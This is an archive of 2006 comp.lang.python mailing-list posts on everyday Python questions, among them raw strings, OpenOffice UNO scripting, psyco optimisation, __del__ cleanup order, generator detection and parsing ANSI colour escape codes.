Tue Oct 3 06:52:42 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Tue, 3 Oct 2006 11:52:42 +0100 Subject: Raw strings and escaping In-Reply-To: <451D7E0D.9080803@ieee.org> Message-ID: Hi, I would expect this to work, rawstring=r'some things\new things\some other things\' But it fails as the last backslash escapes the single quote. ..although writing this I think I have solved my own problem. Is \' the only thing escaped in a raw string so you can place ' in a raw string? Although I thought the correct thing in that case would be; rawstring=r"rawstring'with single-quote" This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From s-mar at nospam.nospam Sat Oct 21 14:36:05 2006 From: s-mar at nospam.nospam (Scott M.) Date: Sat, 21 Oct 2006 14:36:05 -0400 Subject: A Comparison Of Dynamic and Static Languiges References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> Message-ID: Perhaps you should do your own work so you'll understand the concept and learn something? Also, widely posting your real (unaltered) email address in forums like this is a sure way to get noticed by spammers. Good luck. wrote in message news:1161455284.563900.320430 at m7g2000cwm.googlegroups.com... > I'm doing a report on the speed of develipment and executionin varius > programing langiuiges. write code for all these tasks in the languige > of your choise if intrestied send code to atbusbook at aol.com. > > Task 1: > write a program that prints how many times you repeat all words in a > file passed as a comand line > paramiter and from STDIN. with the output format being "\"%s\" word > repeated %i times\n" > Task 2: > write a comand line rpn calculator that has a syntax like forth with > only floats; also it must have these and > only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll. > . and .s are pop print and .s print stack in this > with a new line after each item and the top of the stack at the > bottom. > > compiler info > > c#: mono 1.1.13.7 > perl: perl 5.8.8 > python: python 2.4.2 > ruby: ruby 1.8.4 > From ocollioud at gmail.com Mon Oct 2 09:08:03 2006 From: ocollioud at gmail.com (olive) Date: 2 Oct 2006 06:08:03 -0700 Subject: Python/UNO/OpenOffice? In-Reply-To: <1159792556.813570.10480@k70g2000cwa.googlegroups.com> References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> <1159792556.813570.10480@k70g2000cwa.googlegroups.com> Message-ID: <1159794483.092877.196110@m7g2000cwm.googlegroups.com> John, Here is something that works for me under XPsp2 to either save a doc or save it as PDF: filepath = argv[0] exportpdf = argv[1] ctxLocal = uno.getComponentContext() smgrLocal = ctxLocal.ServiceManager resolver = smgrLocal.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver",ctxLocal) url = "uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext" ctx = resolver.resolve(url) smgr = ctx.ServiceManager desktop = smgr.createInstanceWithContext("com.sun.star.frame.Desktop",ctx) properties = [] if exportpdf == "yes": p = PropertyValue() p.Name = "Hidden" p.Value = True properties.append(p) properties = tuple(properties) doc = desktop.loadComponentFromURL("file:///c:"+filepath+".odt" , "_blank", 0, properties) if exportpdf == "yes": properties = [] p = PropertyValue() p.Name = "Overwrite" p.Value = True properties.append(p) p = PropertyValue() p.Name = "FilterName" p.Value = 'writer_pdf_Export' properties.append(p) properties = tuple(properties) doc.storeToURL("file:///c:"+filepath+".pdf", properties) else: doc.store() doc.dispose() You must start OO this way first: cd C:\Program Files\OpenOffice.org 2.0\program soffice "-accept=socket,host=localhost,port=2002;urp;" From rdiaz02 at gmail.com Fri Oct 27 17:09:21 2006 From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte) Date: Fri, 27 Oct 2006 23:09:21 +0200 Subject: What's the best IDE? In-Reply-To: <1161976496.903281.302940@i42g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161976496.903281.302940@i42g2000cwa.googlegroups.com> Message-ID: <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com> On 27 Oct 2006 12:14:57 -0700, Adam Jones wrote: > > emacs > (...) > > It would be fine for a begginer, right? > > Probably not. I think you have to spend enough time with environments Actually, I've read similar things before and I don't quite get it. I guess all of us are Emacs begginers the first time we try emacs. Actually, I started using Emacs about 1 month after installing Linux; what hooked me was the possibility of editing code AND submit it to an inferior process, just like that (this I experienced first with R, but of course you can do the same with Python) and using the same environment for all of my editing and programming tasks. R. -- Ramon Diaz-Uriarte Statistical Computing Team Structural Biology and Biocomputing Programme Spanish National Cancer Centre (CNIO) http://ligarto.org/rdiaz From hanumizzle at gmail.com Sun Oct 8 09:20:29 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 8 Oct 2006 09:20:29 -0400 Subject: Bizzare lst length problem In-Reply-To: <1160313168.683964.242350@c28g2000cwb.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> Message-ID: <463ff4860610080620q5dd6748dr983b2d8cfe8f3122@mail.gmail.com> On 8 Oct 2006 06:12:48 -0700, John Machin wrote: > > Show us the code that is creating instances of the panel class ... > > panel1 = > panel(number=?,level=?,location=?,mops=????????????????,matrix=?) > What are you passing as the 4th positional arg > ^^^^^^^^^^^^^^^^^^^^^^^ ??? This is wholly unnecessary. -- Theerasak From Eric_Dexter at msn.com Sun Oct 22 00:06:22 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 21 Oct 2006 21:06:22 -0700 Subject: What About Next Laptop Computers? In-Reply-To: References: <1161456707.355956.152850@i42g2000cwa.googlegroups.com> Message-ID: <1161489982.865395.251310@e3g2000cwe.googlegroups.com> I might be intrested The company is on the pink sheets lill or somesuch thing and the guy is posting everywhere plus he talks about fidel castro in spanish... John Purser wrote: > On Sat, 2006-10-21 at 11:51 -0700, Joe wrote: > > L International Reveals Plans for High-Tech > > Next-Generation Laptop Computer Systems > > > > L International Computers Inc. "L" renowned manufacturer of > > high-performance computers and personal/business technologies, revealed > > plans for its next generation high-end laptop and ultra-portable > > computer systems. > > > > To read this articles, go to: > > http://www.contactomagazine.com/laptopcomputers1006.htm > > > > More Business and Computer News: > > http://www.contactomagazine.com/business.htm > > > > Golly Joe, why would any member of a mailing list be interested in > products advertised by spamming their mailing list? From noway at sorry.com Fri Oct 6 04:36:08 2006 From: noway at sorry.com (Giovanni Bajo) Date: Fri, 06 Oct 2006 08:36:08 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> Message-ID: skip at pobox.com wrote: > Martin> The regular admin tasks likely include stuff like this: > Martin> - the system is unavailable, bring it back to work > Martin> This is really the worst case, and a short response time > Martin> is the major factor in how users perceive the service > Martin> - the system is responding very slowly > > To all those people who have been moaning about needing 6-10 people to > administer the system, in my opinion these are the most important > reasons to have more than one person available to help. Python isn't > only used in the USofA. It has been very helpful to have > administrators scattered around the globe who were awake and alert to > handle problems with python.org when folks in the US were asleep. Of > course, spreading the load among several people helps with the other > tasks as well. > > As Martin pointed out in an earlier post, with only one person > actively administering Subversion (Martin), new requests for access > had to wait if he was away for an extended period of time. This is true of many open source projects. I don't dispute that having 6-10 people to administer Roundup would not be good. I dispute that it is the minimum requirement to make a Roundup installation acceptable for Python development. Are bug-tracker configuration issues so critical that having to wait 48-72hrs to have them fixed is absolutely unacceptable for Python development? It looks like an overexaggeration. People easily cope with 2-3 days of SVN freezing, when they are politically (rather than technically) stopped from committing to SVN. I guess they can wait 48 hrs to be able to close that bug, or open that other one, or run that query. -- Giovanni Bajo From skip at pobox.com Fri Oct 6 16:38:54 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 6 Oct 2006 15:38:54 -0500 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: References: Message-ID: <17702.48862.95294.6887@montanaro.dyndns.org> Skip> I took the original version, tweaked it slightly (probably did Skip> about the same things as Python #2, I didn't look). For N == Skip> 200,000 the time went from 21.94s (user+sys) to 17.22s. Using Skip> psyco and binding just the advance function on my improved version Skip> improved that further to 6.48s. I didn't have the patience to run Skip> larger values of N. Diff appended. Ah, wait a moment. One more tweak. Make the body class a psyco class. That improves the runtime to 3.02s. Diff appended. Skip % diff -u nbody.py.~1~ nbody.py --- nbody.py.~1~ 2006-10-06 15:13:31.636675000 -0500 +++ nbody.py 2006-10-06 15:35:36.619976000 -0500 @@ -5,28 +5,31 @@ # contributed by Kevin Carson import sys +import psyco +import psyco.classes pi = 3.14159265358979323 solar_mass = 4 * pi * pi days_per_year = 365.24 -class body : +class body(psyco.classes.psyobj): pass def advance(bodies, dt) : - for i in xrange(len(bodies)) : + nbodies = len(bodies) + for i in xrange(nbodies) : b = bodies[i] - for j in xrange(i + 1, len(bodies)) : + for j in xrange(i + 1, nbodies) : b2 = bodies[j] dx = b.x - b2.x dy = b.y - b2.y dz = b.z - b2.z - distance = (dx**2 + dy**2 + dz**2)**0.5 - - b_mass_x_mag = dt * b.mass / distance**3 - b2_mass_x_mag = dt * b2.mass / distance**3 + dsqr = (dx*dx + dy*dy + dz*dz) + dtd3 = dt / dsqr ** 1.5 + b_mass_x_mag = dtd3 * b.mass + b2_mass_x_mag = dtd3 * b2.mass b.vx -= dx * b2_mass_x_mag b.vy -= dy * b2_mass_x_mag @@ -39,6 +42,7 @@ b.x += dt * b.vx b.y += dt * b.vy b.z += dt * b.vz +psyco.bind(advance) def energy(bodies) : e = 0.0 From duncan.booth at invalid.invalid Thu Oct 12 05:52:01 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 12 Oct 2006 09:52:01 GMT Subject: python's newbie question References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com> Message-ID: tpochep at mail.ru wrote: > I tried different names instead of b1, sometimes programm works, > sometimes I have an exception. So it's clear, that I've done some > stupid mistake, but it's not clear for me, python's newbie, where :) Not a stupid mistake, although as you come to use Python more you will learn that you need __del__ methods very rarely if at all. This is just as well as writing reliable __del__ methods can be non-trivial. The problem you have is that your __del__ method is being called as Python tidies up before exiting. It does this by going systematically through all the modules and deleting all of their global variables. If you are using __del__ you have to be aware that by the time it gets called not all global variables still exist. The order in which the globals are deleted isn't defined, in this case it looks like Base1 has been deleted before Derived, but that won't always be the case. One option is to use new-style classes and use super() to pass the call up to the base classes (super is a builtin, and builtins should still be around when your code is being cleaned up). Another option would be to access the base classes through Derived.__bases__. Probably the best solution is to remove any objects which required cleanup from your class hierarchy. e..g if Derived has a __del__ method because it needs to close a database, have a separate object representing the database which does its own cleanup. Then Derived doesn't need to call self.database.close() because that will happen automatically when self.database is destroyed, so Derived won't need a __del__. Here's your code pushing the __del__ method out of the class hierarchy. But watch out: if you pass self as an argument to printer then nothing gets destroyed at all as the program exits, and of course the order in which the __del__ prints appear is now undefined. class printer(object): def __init__(self, *args): self.msg = args def __del__(self): print ' '.join(self.msg) class Base1: def __init__(self): print "Base1.__init__", self self.__del = printer("Base1.__del__") class Base2: def __init__(self): print "Base2.__init__", self self.__del = printer("Base2.__del__") class Derived(Base1, Base2): def __init__(self): print "Derived.__init__:" Base1.__init__(self) Base2.__init__(self) self.__del = printer("Derived.__del__:") print "begin..." d = Derived() b = d print "end..." From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Mon Oct 9 12:40:30 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Mon, 09 Oct 2006 18:40:30 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> Message-ID: <4ovcbvFgc2nlU1@individual.net> Diez B. Roggisch wrote: > What do you mean by "from dumbness"? It didn't originate from the "dumbness" area of my brain (== it wasn't my honest opinion). It was meant satirical. > And in context of somebody seeking enlightment regarding java, > it's especially unhelpful and confusing I think. Which was the > reason for my post. I understand. > So what? Either you talk about Java here, then name it and prove > these points, or not, then where is the relevance of that > statement to this discussion? Again, it wasn't meant as honest and true argument. I'd better try not to try be funny. > For example: the overloading of assignment operators, casting > operators, copy constructors and the like that, and the fact that > one of them is possibly chosen in absence of the other. Isn't the overloading concept an effect of type strength? In Java, you'd have to overload them too. Or am I missing something? > The subtle differences between pointers and references. That's an issue, though you don't have to use them both. Kind of "historically grown". > Ahh, not to forget the joys of slicing through non-virtual > copy-constructors. And while we are talking about it: virtual - a > keyword with a great deal of meanings.... ACK. > Missing definition of static initializer order, at least for some > binary formats. Didn't come across this one though. > I could continue for some while... Okay, I got it :) >> because it wanted to be new and good but took over much of C++'s >> syntax and made it even weirder, > Even weirder? Care to explain? Example: int spam = 5; but String eggs = new String(); The latter seems totally unnecessary to me, as well as being too verbose -- why couldn't they go the simple way as in Python and just state String eggs; -- is it because in C++ it'd mean something different? > While they _did_ choose some > unneccessary syntactic crud to stay in, even though it isn't > needed (e.g. the superfluous new-keyword), I don't see a lot of > things like ::, ->, virtual, =0 and so on. ACK. > Not to mention struct and friend of course. Mh, struct seems to be an ancestor from C and being kept for compatibility reasons (like many other stuff in C++ though). "friend"? Mh, nice to have, I once needed it. But anyway, I like the Python way (don't forbid anything) better. > Yes, they tried to make it appealing to the eye of a > C++-programmer. But that pretty much is it. That's a wrong decision, IMHO. A new and practical language (what Java wanted to be) shouldn't provide 3/4-compatible syntax, but be clear, concise and customizable, and shouldn't say "That's bad, you mustn't do that." > You are confusing things here. That you can't implement your own > string derived class has to do with java.lang.String being final - > something I grief about, too. That's not exactly my point. What if I just wanted to build my own interface compatible class ... impossible. For a start, it just doesn't look pretty ... String ham; ham = "1" + "2"; ... is translated to ... ham = new StringBuffer().append("1").append("2").toString() > But nothing with operator overloading of + for _all_ objects that > support toString().... > > Yes, Java lacks operator overloading, and that is a pity > sometimes. And that was a clear design decision that is defended as "groovy" until today. Another funny thing are those awkward wrapper classes, but that's been "patched" in an awkward way with 1.5 IIRC. > But getting productive with it is certainly in between python and > C++, and not below. May in parts depend on the scenario, but ACK. Regards, Bj?rn -- BOFH excuse #442: Trojan horse ran out of hay From kenneth.m.mcdonald at sbcglobal.net Wed Oct 25 15:36:46 2006 From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald) Date: Wed, 25 Oct 2006 14:36:46 -0500 Subject: How to identify generator/iterator objects? Message-ID: <453FBCCE.8090306@sbcglobal.net> I'm trying to write a 'flatten' generator which, when give a generator/iterator that can yield iterators, generators, and other data types, will 'flatten' everything so that it in turns yields stuff by simply yielding the instances of other types, and recursively yields the stuff yielded by the gen/iter objects. To do this, I need to determine (as fair as I can see), what are generator and iterator objects. Unfortunately: >>> iter("abc") >>> def f(x): ... for s in x: yield s ... >>> f >>> f.__class__ So while I can identify iterators, I can't identify generators by class. Is there a way to do this? Or perhaps another (better) way to achieve this flattening effect? itertools doesn't seem to have anything that will do it. Thanks, Ken From wolfgang.keller.nospam at gmx.de Sun Oct 15 13:07:56 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Sun, 15 Oct 2006 19:07:56 +0200 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> Message-ID: <0001HW.C158378C00729A42F0407530@news.individual.de> Hello, and thanks for your reply, but... > Here's a start: > > http://philip.greenspun.com/sql/ ...small misunderstanding: I already know a bit of SQL, and I intend to avoid its use as far as possible (and use e.g. Modeling or SQLAlchemy). What I'm interested in is rather how to connect a GUI to a database, with quite a bit of application logic in between. And how to do it well. Sincerely, Wolfgang Keller -- My email-address is correct. Do NOT remove ".nospam" to reply. From martin at v.loewis.de Wed Oct 25 15:48:44 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 21:48:44 +0200 Subject: question about True values In-Reply-To: References: Message-ID: <453FBF9C.6010002@v.loewis.de> skip at pobox.com schrieb: > the string class's "nil" value. Each of the builtin types has such an > "empty" or "nil" value: > > string "" > list [] > tuple () > dict {} > int 0 > float 0.0 > complex 0j > set set() > > Any other value besides the above will compare as "not false". This list of values that are considered false is incomplete, though. Four obvious omissions are long 0L unicode u"" bool False NoneType None Not-so-obviously, arbitrary user-defined values can also be treated as false: If they implement __nonzero__, they are false if False is returned from __nonzero__; otherwise, if they implement __len__, they are false if 0 is returned from __len__. Under these rules, array.array objects can also be false, as can UserList and UserDict objects. Regards, Martin From pecora at anvil.nrl.navy.mil Tue Oct 17 11:10:22 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 11:10:22 -0400 Subject: How to invoke ipython in Mac OS X? References: <4pk8r8FjagluU1@uni-berlin.de> Message-ID: In article <4pk8r8FjagluU1 at uni-berlin.de>, "Diez B. Roggisch" wrote: > Lou Pecora wrote: > > > I installed the SciPy superpackage and have pylab, matplotlib, scipy, > > and numpy apparently running well. But I want to use matplotlib/pylab > > interactively. The instructions suggest doing this in IPython. But > > using ipython on the command line gives me an error. The system doesn't > > know the command. Apparently there is no ipython executable in one of > > the bin directories. I thought the superpackage would add that > > automatically, but I guess not. > > > > Can anyone tell me how to get ipython running on my MacOSX 10.4 system? > > This is just a guess - but did you check your > > /Library/Frameworks/Python.framework/Versions/Current/bin Just checked it. Nothing there for IPython. > directory for the ipython-binary? Usually, that will be the prefix of > anything compiled/installed to framework-builds. So either you add that to > your path, or create links to e.g. /usr/local/bin I'm not quite following this last suggestion. Can you explain more. Sorry. -- Lou Pecora (my views are my own) REMOVE THIS to email me. From http Thu Oct 19 18:33:25 2006 From: http (Paul Rubin) Date: 19 Oct 2006 15:33:25 -0700 Subject: Lead Software Engineer References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> Message-ID: <7x4pu0lyve.fsf@ruckus.brouhaha.com> "Emma" writes: > Successful candidates meet the following requirements: Um, who is asking? From steve at holdenweb.com Tue Oct 10 02:57:27 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 07:57:27 +0100 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160455280.118212.202770@b28g2000cwb.googlegroups.com> References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> <1160335473.625244.261640@m7g2000cwm.googlegroups.com> <1160345922.051578.146630@i3g2000cwc.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: MonkeeSage wrote: > On Oct 9, 2:31 am, Steve Holden wrote: > >>Keep right on guessing. > > > I hope I'm not offending one whom I consider to be much more skilled > and versed than I am, not only in python, but in programming in > general; but I must say: it seems you are being rather obtuse here. I > think I laid out the principal clearly enough, and I know you have the > mental capacity to extrapolate from the principal to general use cases. > But even so, here is a simple use case from the standard library > (python 2.5 release source): > > In Libs/site.py, lines 302-306: > > try: > for i in range(lineno, lineno + self.MAXLINES): > print self.__lines[i] > except IndexError: > break > > With my proposal, that could be written as: > > for i in range(lineno, lineno + self.MAXLINES): > if self.__lines.has_index(i): > print self.__lines[i] > else: > break > > Granted, in this particular case the amount of code is not reduced, but > (and I would hope you'd agree) the control flow is certainly easier to > follow. > > >>OK, so now we appear to be arguing about whether a feature should go >>into Python because *you* find it to be easier to read and write. But I >>don't see a groundswell of support from other readers saying "Wow, I've >>always wanted to do it like that". > > > *Someone* (other than me!) obviously found it nice to have the dict > convenience methods. As for garnishing support, I almost see that as > more of a cultural, rather than pragmatic issue. I.e., if it's not > there already, then it shouldn't be there: "what is is what should be". > Of course, consistently following that naive presumption would totally > stiffle *any* extension to python. However, (I think) I do understand > the psychology of the matter, and don't fault those who cannot see past > what already is (not meaning to implicate you or Fredrick or anyone > else -- the comment is innocent). > > >>In fact d.has_key(k) is a historical spelling, retained only for >>backwards compatibility, of k in dict. As to the d.get(k, default) >>method I really don't see a compelling use case despite your >>protestations, and I don't seem to be alone. Please feel free to start >>recruiting support. > > > As I stated to another poster; I'm not really concerned with > implementation details, only with the presence or absence of > convenience methods. You can write "if k in d" as easily as "if index < > len(seq)". But semantically, they are similar enough, in my (admittedly > lowly) estimation, to desevere similar convenience methods. > > >>The fact that nobody has listed the good reasons why I shouldn't try to >>make a computer from mouldy cheese doesn't make this a good idea. > > > Heh. True. I didn't mean to imply that I was arguing from the negative. > I was only tring to shift the perspective to include the reasons for > the dict convenience methods. If C is good for A, and A is sufficiently > similar to B, then C is good for B. But if C is just crud, then forget > it all around. ;) > > > On Oct 9, 12:24 pm, Dennis Lee Bieber wrote: > >> But how do you handle the case of: >> >>l = [] >>i = 10 >> >>l[i] = l.get(i, 0) + 1 > > > You don't; you just let the IndexError fall through. Same as a KeyError > for d[k]. My propopsal is in regard to convencience methods, not to > direct access. > > Ps. Sorry if this comes through twice, Google is being wierd right now. > I think we'll just have to agree to differ in this repsecrt, as I don't see your suggestions for extending the sequence API as particularly helpful. The one case you quote doesn't actually use the construct to supply a default value, it just terminates a loop early if the sequence length is below expectation (unless I've misread the code: that does happen). I don't really think it's a biggy, I just don't see the parallels that you do. Your point about blindness to the need for change is one that we do have to be careful of (not that I'm the person to consult about what goes into the language anyway). But if you think you've had an argument here, try writing a PEP for this and see if you can persuade the denizens of python-dev to accept (and implement) it. regard Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Leo.Kislov at gmail.com Fri Oct 13 07:55:03 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 13 Oct 2006 04:55:03 -0700 Subject: Need a Regular expression to remove a char for Unicode text In-Reply-To: <1160739866.224070.252590@m73g2000cwd.googlegroups.com> References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com> <1160739866.224070.252590@m73g2000cwd.googlegroups.com> Message-ID: <1160740503.886428.82340@i3g2000cwc.googlegroups.com> On Oct 13, 4:44?am, harvey.tho... at informa.com wrote: > ????????? wrote: > > Hai friends, > > Can any one tell me how can i remove a character from a unocode text. > > ????&??? is a Telugu word in Unicode. Here i want to > > remove '&' but not replace with a zero width char. And one more thing, > > if any whitespaces are there before and after '&' char, the text should > > be kept as it is. Please tell me how can i workout this with regular > > expressions. > > > Thanks and regards > > Srinivasa Raju DatlaDon't know anything about Telugu, but is this the approach you want? > > >>> x=u'\xfe\xff & \xfe\xff \xfe\xff&\xfe\xff' > >>> noampre = re.compile('(? >>> noampre('', x) He wants to replace & with zero width joiner so the last call should be noampre(u"\u200D", x) From anthra.norell at vtxmail.ch Mon Oct 23 08:56:35 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 23 Oct 2006 14:56:35 +0200 Subject: Attempting to parse free-form ANSI text. In-Reply-To: References: Message-ID: <453CBC03.6090003@vtxmail.ch> Paul McGuire wrote: > "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message > news:GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d at comcast.com... > >> Alright... I am attempting to find a way to parse ANSI text from a >> telnet application. However, I am experiencing a bit of trouble. >> >> What I want to do is have all ANSI sequences _removed_ from the output, >> save for those that manage color codes or text presentation (in short, >> the ones that are ESC[#m (with additional #s separated by ; characters). >> The ones that are left, the ones that are the color codes, I want to >> act on, and remove from the text stream, and display the text. >> >> > Here is a pyparsing-based scanner/converter, along with some test code at > the end. It takes care of partial escape sequences, and strips any > sequences of the form > "[##;##;...", unless the trailing alpha is 'm'. > The pyparsing project wiki is at http://pyparsing.wikispaces.com. > > -- Paul > > from pyparsing import * > > snip > > > test = """\ > This is a test string containing some ANSI sequences. > Sequence 1: ~[10;12m > Sequence 2: ~[3;4h > Sequence 3: ~[4;5m > Sequence 4; ~[m > Sequence 5; ~[24HNo more escape sequences. > ~[7""".replace('~',chr(27)) > > leftOver = processInputString(test) > > > Prints: > This is a test string containing some ANSI sequences. > Sequence 1: > > I doubt we should concatenate numbers. > Sequence 2: > > Sequence 3: > > > Sequence 4; > > > Sequence 5; > No more escape sequences. > > > > > Another one of Paul's elegant pyparsing solutions. To satisfy my own curiosity, I tried to see how SE stacked up and devoted more time than I really should to finding out. In the end I don't know if it was worth the effort, but having made it I might as well just throw it in. The following code does everything Mike needs to do, except interact with wx. It is written to run standing alone. To incorporate it in Mike's class the functions would be methods and the globals would be instance attributes. Running it does this: >>> chunk_1 = """This is a test string containing some ANSI sequences. Sequence 1 Valid code, invalid numbers: \x1b[10;12mEnd of sequence 1 Sequence 2 Not an 'm'-code: \x1b[30;4;77hEnd of sequence 2 Sequence 3 Color setting code: \x1b[30;45mEnd of sequence 3 Sequence 4 Parameter setting code: \x1b[7mEnd of sequence 4 Sequence 5 Color setting code spanning calls: \x1b[3""" >>> chunk_2 = """7;42mEnd of sequence 5 Sequence 6 Invalid code: \x1b[End of sequence 6 Sequence 7 A valid code at the end: \x1b[9m """ >>> init () >>> process_text (chunk_1) >>> process_text (chunk_2) >>> print output This is a test string containing some ANSI sequences. Sequence 1 Valid code, invalid numbers: >>! Ignoring unknown number 10 !<< >>! Ignoring unknown number 12 !<< End of sequence 1 Sequence 2 Not an 'm'-code: End of sequence 2 Sequence 3 Color setting code: >>setting foreground BLACK<< >>setting background MAGENTA<< End of sequence 3 Sequence 4 Parameter setting code: >>Calling parameter setting function 7<< End of sequence 4 Sequence 5 Color setting code spanning calls: >>setting foreground GREY<< >>setting background GREEN<< End of sequence 5 Sequence 6 Invalid code: nd of sequence 6 Sequence 7 A valid code at the end: >>Calling parameter setting function 9<< ################### And here it goes: def init (): # To add to AnsiTextCtrl.__init__ () import SE # SEL is less import overhead but doesn't have interactive development features (not needed in production versions) global output #-> For testing global Pre_Processor, digits_re, Colors, truncated_escape_hold # global -> instance attributes # Screening out all ansi escape sequences except those controlling color grit = '\n'.join (['(%d)=' % i for i in range (128,255)]) + ' (13)= ' # Regular expression r'[\x80-\xff\r]' would work fine but is four times slower than 127 fixed definitions all_escapes = r'\x1b\[\d*(;\d*)*[A-Za-z]' color_escapes = r'\x1b\[\d*(;\d*)*m' Pre_Processor = SE.SE ('%s ~%s~= ~%s~==' % (grit, all_escapes, color_escapes)) # SEL.SEL for production # 'all_escapes' also matches what 'color_escapes' matches. With identical regular expression matches it is the last definitions that applies. Other than that, the order of definitions is irrelevant to precedence. # Isolating digits. digits_re = re.compile ('\d+') # Color numbers to color names Colors = SE.SE (''' 30=BLACK 40=BLACK 31=RED 41=RED 32=GREEN 42=GREEN 33=YELLOW 43=YELLOW 34=BLUE 44=BLUE 35=MAGENTA 45=MAGENTA 36=CYAN 46=CYAN 37=GREY 47=GREY 39=GREY 49=BLACK ''') truncated_escape_hold = '' #-> self.truncated_escape_hold output = '' #-> For testing only # What follows replaces all others of Mike's methods def process_text (text): global output #-> For testing global truncated_escape_hold, digits_re, Pre_Processor, Colors purged_text = truncated_escape_hold + Pre_Processor (text) # Text is now clean except for color codes beginning with ESC ansi_controlled_sections = purged_text.split ('\x1b') # Each ansi_controlled_section starts with a color control, except the first one (leftmost split-off) if ansi_controlled_sections: #-> self.AppendText(ansi_controlled_sections [0]) #-> For real output += ansi_controlled_sections [0] #-> For testing #-> For testing for section in ansi_controlled_sections [1:]: if section == '': continue try: escape_ansi_controlled_section, data = section.split ('m', 1) except ValueError: # Truncated escape truncated_escape_hold = '\x1b' + section # Restore ESC removed by split ('\x1b') else: escapes = escape_ansi_controlled_section.split (';') for escape in escapes: try: number = digits_re.search (escape).group () except AttributeError: output += ' >>!!!Invalid number %s!!!<<< ' % escape #-> For testing continue _set_wx (number) #-> self.AppendText(data) #-> For real output += data #-> For testing def _set_wx (n): global output # For testing only global Colors int_n = int (n) if 0 <= int_n <= 9: #-> self._number_to_method (n)() #-> For real output += ' >>Calling parameter setting function %s<< ' % n #-> For testing return color = Colors (n) if color: if 30 <= int_n < 50: if 40 <= int_n: #-> self.AnsiBGColor = color #-> For real output += ' >>setting background %s<< ' % color #-> For testing else: #-> self.AnsiFGColor = color #-> For real output += ' >>setting foreground %s<< ' % color #-> For testing return output += ' >>!!!Ignoring unknown number %s!!!<< ' % n #-> For testing #-> For real requires this in addition: #-> #-> # Methods controlled by 'm' code 0 to 9: # Presumably 'm'? #-> #-> def _0 (self): #-> self.AnsiFGColor = 'GREY' #-> self.AnsiBGColor = 'BLACK' #-> self.AnsiFontSize = 9 #-> self.AnsiFontFamily = wx.FONTFAMILY_TELETYPE #-> self.AnsiFontStyle = wx.FONTSTYLE_NORMAL #-> self.AnsiFontWeight = wx.FONTWEIGHT_NORMAL #-> self.AnsiFontUnderline = False #-> #-> def _1 (self): self.AnsiFontWeight = wx.FONTWEIGHT_BOLD #-> def _2 (self): self.AnsiFontWeight = wx.FONTWEIGHT_LIGHT #-> def _3 (self): self.AnsiFontStyle = wx.FONTSTYLE_ITALIC #-> def _4 (self): self.AnsiFontUnderline = True #-> def _5 (self): pass #-> def _7 (self): self.AnsiFGColor, self.AnsiBGColor = self.AnsiBGColor, self.AnsiFGColor #-> def _8 (self): self.AnsiFGColor = self.AnsiBGColor #-> def _9 (self): pass #-> #-> #-> 